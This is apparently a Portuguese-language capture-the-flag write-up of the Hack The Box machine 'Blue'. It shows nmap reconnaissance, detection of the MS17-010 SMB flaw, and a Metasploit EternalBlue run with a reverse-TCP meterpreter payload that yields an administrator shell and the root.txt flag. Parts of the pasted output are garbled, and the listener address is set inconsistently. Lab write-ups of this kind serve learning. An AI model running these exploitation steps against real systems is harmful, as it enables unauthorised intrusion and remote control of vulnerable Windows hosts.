Nome:

Blue

IP:

10.10.10.40

Responde a ping (firewall possivelmente desativado).

Para iniciar, um scan sem confirmações se o host esta UP (-Pn), e procurando as 100 top-ports.

## Comando 0:

```
i:-/Documents/HTB# nmap -Pn 10.10.10.40 --top-port=100
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-20 09:53 EST
                      10.10.10.40
Nmap scan report for
Host is up, received user-set (0.14s latency).
           91 closed ports
Not shown:
Reason: 91 resets
PORT
          STATE SERVICE
                              REASON
135/tcp
          open
                msrpc
                              syn-ack ttl
139/tcp
          open
                netbios-ssn
                              syn-ack ttl
445/tcp
                microsoft-ds
          open
                              syn-ack ttl
49152/tcp open
                unknown
                              syn-ack ttl
49153/tcp open
                unknown
                              syn-ack ttl
49154/tcp open
                unknown
                              syn-ack
49155/tcp open
                unknown
                              syn-ack ttl 127
49156/tcp open
                unknown
                              syn-ack ttl 127
49157/tcp open
                unknown
                              syn-ack ttl 127
Nmap done: 1 IP address (1 host up) scanned in 1.75 seconds
```

Com as portas encontradas anteriormente, fica possível usar a classe de script default (-sC) do nmap para encontrar mais algumas informações.

## Comando 0:

```
root@kali: ~/Documents/HTB
                                                                        • •
         :~/Documents/HTB# nmap -sC -p135,139,445,49152-49157
                                                                 10.10.10.40
tarting Nmap 7.80 ( https://nmap.org ) at 2019-11-20 10:01 EST
Stats: 0:01:04 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 94.59% done; ETC: 10:02 (0:00:04 remaining)
Nmap scan report for 10.10.10.40
lost is up, received reset ttl 127 (0.14s latency).
PORT
          STATE SERVICE
                              REASON
                              syn-ack ttl 127
135/tcp
          open
                msrpc
139/tcp
                netbios-ssn
                              syn-ack ttl 127
          open
445/tcp
                microsoft-ds
                              syn-ack ttl 127
          open
49152/tcp open
                unknown
                              syn-ack ttl 127
                                      ttl 127
ttl 127
49153/tcp open
                unknown
                              syn-ack
49154/tcp
                unknown
                              syn-ack
          open
                                      ttl 127
49155/tcp
          open
                unknown
                              syn-ack
                              syn-ack ttl 127
49156/tcp open
                unknown
49157/tcp open
                unknown
                              syn-ack ttl
Host script results:
 clock-skew: mean: 9s, deviation: θs, median: 8s
  smb-os-discovery:
    05: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional
6.1)
    OS CPE: cpe:/o:microsoft:windows_7::spl:professional
    Computer name: haris-PC
    NetBIOS computer name: HARIS-PC\x00
    Workgroup: WORKGROUP\x00
    System time: 2019-11-20T15:01:13+00:00
  smb-security-mode:
    account_used: guest
    authentication level: user
    challenge response: supported
    message_signing: disabled (dangerous, but default)
  smb2-security-mode:
    2.02:
      Message signing enabled but not required
  smb2-time:
    date: 2019-11-20T15:01:15
    start date: 2019-11-20T14:07:35
Nmap done: 1 IP address (1 host up) scanned in 84.29 seconds
```

Nenhuma outra porta (senão as referentes ao SMB) retornaram informações úteis, a não ser pelo estado das mesmas.

Quanto ao retorno do script default (-sC) para SMB, obteu-se várias informações úteis, tais como nome do SO, nome do PC, NetBIOS (definição de nome sobre as redes), workgroup, etc.

Apontando scripts de vulnerabilidades para SMB, obtém-se alguns resultados para a continuidade da exploração.

Comando 0:

```
·/Documents/HTB# nmap --script smb-vuln* -p135,139,445,49152-491
  10.10.10.40
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-20 10:17 EST
Nmap scan report for 10.10.10.40
Host is up, received echo-reply ttl 127 (\theta.14s latency).
          STATE SERVICE
PORT
                              REASON
135/tcp
                               syn-ack
          open
                msrpc
                                       ttl
139/tcp
          open
                netbios-ssn
                               syn-ack
                                       ttl
                microsoft-ds syn-ack
445/tcp
                                       ttl 127
          open
49152/tcp
                              syn-ack ttl 127
          open
                unknown
49153/tcp open
                               syn-ack ttl 127
                unknown
49154/tcp open
                              syn-ack
                                       ttl 127
                unknown
                              syn-ack ttl 127
syn-ack ttl 127
syn-ack ttl 127
49155/tcp open
                unknown
49156/tcp open
                unknown
49157/tcp open
                unknown
Host script results:
 smb-vuln-ms10-054: false
                     NT STATUS OBJECT NAME NOT FOUND
  smb-vuln-ms10-061:
  smb-vuln-ms17-010:
    VULNERABLE:
    Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-0
10)
      State: VULNERABLE
      IDs: CVE:CVE-2017-0143
      Risk factor: HIGH
        A critical remote code execution vulnerability exists in Microsoft
 SMBv1
         servers (ms17-010).
      Disclosure date: 2017-03-14
      References:
        https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guida
nce-for-wannacrypt-attacks/
        https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
        https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
Nmap done: 1 IP address (1 host up) scanned in 16.00 seconds
```

O scan retornou a existencia da vulnerabilidade de nível HIGH através do script smb-vuln-ms17-010.

Agora é possível fazer a exploração utilizando o Metasploit.

Comando 0 - Procurando o exploit:

```
Matching Modules
                                                                                                                                                                                     Description
     *
           Name
                                                                                                               Disclosure Date
                                                                                                                                                   Rank
                                                                                                                                                                      Check
0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal Y
ernalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
                                                                                                                                                                      Yes
                                                                                                                                                                                     MS17-010 Et
            auxiliary/scanner/smb/smb_ms17_010
                                                                                                                                                                                     MS17-010 SM
                                                                                                                                                   normal
                                                                                                                                                                       Yes
   RCE Detection
2 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average
ernalBlue SMB Remote Windows Kernel Pool Corruption
3 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average
ernalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
4 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal
ernalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
                                                                                                                                                                      Yes
                                                                                                                                                                                     MS17-010 Et
                                                                                                                                                                      Nο
                                                                                                                                                                                     MS17-010 Et
                                                                                                                                                                                     MS17-010 Et
```

Comando 1 - Setando o alvo:

```
sf5 exploit(
                            er) > use exploit/windows/smb/ms17_010_eternalblue
    exploit(wi
15 f 5
                                                        show options
Module options (exploit/windows/smb/ms17 010 eternalblue):
                                       Required
                    Current Setting
                                                  Description
   Name
   RHOSTS
                                                   The target host(s), range CIDR identifier, or hosts
                                        yes
file with syntax 'file:<path>'
   RPORT
                    445
                                        ves
                                                   The target port (TCP)
(Optional) The Windows domain to use for authenticat
   SMBDomain
                                        no.
ion
   SMBPass
                                        no
                                                   (Optional)
                                                                The password for the specified username
                                                   (Optional) The username to authenticate as
   SMBUser
                                        no
                                                   Check if remote architecture matches exploit Target 
Check if remote OS matches exploit Target.
   VERIFY_ARCH
VERIFY_TARGET
                                        yes
                                        yes
                    true
Exploit target:
   Ιd
       Name
   0
       Windows 7 and Server 2008 R2 (x64) All Service Packs
                         mb/ms17_010_eternalblue) > set RHOSTS 10.10.10.40
msf5 exploit(
RHOSTS => 10.10.10.40
```

## Comando 2 - Setando payload, localhost e porta para listening:

```
msf5 exploit(
msf5 exploit(mi
                     set payload windows/meterpreter/reverse tcp
                        ٨
payload => windows/meterpreter/reverse_tcp
<u>msf5</u> exploit(multi/handler)
                                         LHOST 10.10.10.40
                                    set
LHOST => 10.10.10.40
     exploit(multi/handler)
                                     set
                                         LPORT 443
                                  ٨
LPORT
      => 443
```

## Comando 3 - Exploiting:

```
nalblue) > run
      [2019.11.20-11:16:11] Started reverse TCP handler on 10.10.14.9:443 [2019.11.20-11:16:12] 10.10.10.40:445 - Connected to \\10.10. [2019.11.20-11:16:13] 10.10.10.40:445 - Received STATUS_INSUF

    Connected to \\10.10.10.40\IPC$ with TID = 2048
    Received STATUS_INSUFF_SERVER_RESOURCES with FI

      Θ
                                                                                          Host is likely VULNERABLE to MS17-010! - Window
      [2019.11.20-11:16:13] 10.10.10.40:445
[+]
      [2019.11.20-11:16:13] 10.10.40:445 - Host Is tikely voluntable to History Professional 7601 Service Pack 1 x64 (64-bit) [2019.11.20-11:16:13] 10.10.10.40:445 - Connecting to target for exploitation. [2019.11.20-11:16:14] 10.10.10.40:445 - Connection established for exploitation. [2019.11.20-11:16:14] 10.10.10.40:445 - Target OS selected valid for OS indicated
                                              10.10.10.40:445 - Target OS selected valid for OS indicated by SMB repl
      [2019.11.20-11:16:14]
[2019.11.20-11:16:14]
                                              10.10.40:445 - CORE raw buffer dump (42 bytes)
10.10.40:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66
      73 Windows 7 Profes
[2019.11.20-11:16:14] 10.10.10.40:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65
65
      [2019.11.20-11:16:14] 10.10.10.40:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
              sional 7601
      ice Pack 1
[2019.11.20-11:16:14] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE
RPC
      reply
[2019.11.20-11:16:14]
      [2019.11.20-11:16:14]
[2019.11.20-11:16:14]
[2019.11.20-11:16:14]
[2019.11.20-11:16:14]
[2019.11.20-11:16:14]
[2019.11.20-11:16:14]
[2019.11.20-11:16:14]
[2019.11.20-11:16:14]
[2019.11.20-11:16:14]
[2019.11.20-11:16:14]
[2019.11.20-11:16:14]
[2019.11.20-11:16:14]
[2019.11.20-11:16:14]
[2019.11.20-11:16:14]
[2019.11.20-11:16:14]
[2019.11.20-11:16:14]
[2019.11.20-11:16:14]
                                               10.10.10.40:445 -
                                                                               Trying exploit with 12 Groom Allocations
 * 1
                                                                               Sending all but last fragment of exploit packet
                                              10.10.10.40:445 -
                                               10.10.10.40:445
                                                                               Sending NT Trans Request packet
                                                                               Making :eb trans2 zero packet
Making :eb trans2 buffer packet
                                               10.10.10.40:445
                                              10.10.10.40:445
                                              10.10.10.40:445
10.10.10.40:445
                                                                               Making
                                                                                                    trans2 buffer packet
                                                                                            :eb
                                                                               Making
                                                                                                    trans2 buffer packet
                                                                                            :eb
                                              10.10.10.40:445
                                                                                            :eb trans2 buffer packet
:eb trans2 buffer packet
:eb trans2 buffer packet
                                                                               Making :eb
                                              10.10.10.40:445
                                                                               Making
                                               10.10.10.40:445
                                                                               Making
                                                                                                    trans2_buffer packet
trans2_buffer packet
                                               10.10.10.40:445
                                                                               Making
                                                                                            :eb
                                              10.10.10.40:445
                                                                               Making
                                                                                            :eb
                                                                                                   trans2 buffer packet
trans2 buffer packet
                                              10.10.10.40:445
10.10.10.40:445
                                                                               Making
                                                                                            :eb
                                                                               Making
                                                                                            :eb
                                                                                            :eb_trans2_buffer packet
:eb_trans2_buffer packet
                                              10.10.10.40:445
                                                                               Making
                                              10.10.10.40:445
                                                                               Making
      [2019.11.20-11:16:14]
[2019.11.20-11:16:14]
[2019.11.20-11:16:14]
[2019.11.20-11:16:25]
[2019.11.20-11:16:25]
[2019.11.20-11:16:25]
                                                                               Making :eb_trans2_buffer packet
Making :eb_trans2_buffer packet
Sending malformed Trans2_packets
                                               10.10.10.40:445
                                               10.10.10.40:445
                                               10.10.10.40:445
                                              10.10.10.40:445
10.10.10.40:445
                                                                               Starting non-paged pool grooming
Sending start free hole packet.
Sending SMBv2 buffers
                                              10.10.10.40:445
        2019.11.20-11:16:27]
2019.11.20-11:16:27]
                                               10.10.10.40:445
                                                                                Sending end free hole packet.
                                              10.10.10.40:445
                                                                               Closing SMBv1 connection creating free hole adjacent
     SMBv2 buffer
```

```
[*] [2019.11.20-11:38:30] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] [2019.11.20-11:38:31] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] [2019.11.20-11:38:31] 10.10.10.40:445 - Making :eb_trans2 exploit packet
[*] [2019.11.20-11:38:31] 10.10.10.40:445 - Receiving response from exploit packet
[*] [2019.11.20-11:38:31] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC0000 00D)!
[*] [2019.11.20-11:38:31] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] [2019.11.20-11:38:32] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] [2019.11.20-11:38:33] 10.10.10.40:445 - I0.10.10.40:49158) at 2019-11-20 11:38:32 - 0500
[*] [2019.11.20-11:38:33] 10.10.10.40:445 - I0.10.40:49158) at 2019-11-20 11:38:32 - 0500
[*] [2019.11.20-11:38:33] 10.10.10.40:445 - I0.10.40:49158) at 2019-11-20 11:38:32 - 0500
[*] [2019.11.20-11:38:33] 10.10.10.40:445 - I0.10.40:49158) at 2019-11-20 11:38:32 - 0500
[*] [2019.11.20-11:38:33] 10.10.10.40:445 - I0.10.40:49158) at 2019-11-20 11:38:32 - 0500
[*] [2019.11.20-11:38:33] 10.10.10.40:445 - I0.10.40:49158) at 2019-11-20 11:38:33 in 10.10.10.40:49158) at 2019-11-20 11:38:33 in 10.10.10.40:49158 in 10.10.40:49158 in 10.10.40:49158 in 10.10.40:49158 in 10.10.40:49158 in 10.10
```

E então é possível visualizar o root.txt.

```
C:\Users\Administrator>cd Desktop
cd Desktop
d
C:\Users\Administrator\Desktopdir
dir
Volume in drive C has no label.
 Volume Serial Number is A0EF-1911
Directory of C:\Users\Administrator\Desktop
24/12/2017
            02:22
                      <DIR>
24/12/2017
            02:22
                     <DIR>
            06:57
21/07/2017
                                  32 root.txt
               1 File(s)
                                      32 bytes
                          15,677,022,208 bytes free
               2 Dir(s)
C:\Users\Administrator\Desktop>type root.txt
type root.txt
ff548eb71e920ff6c08843ce9df4e717
```

flag: ff548eb71e920ff6c08843ce9df4e717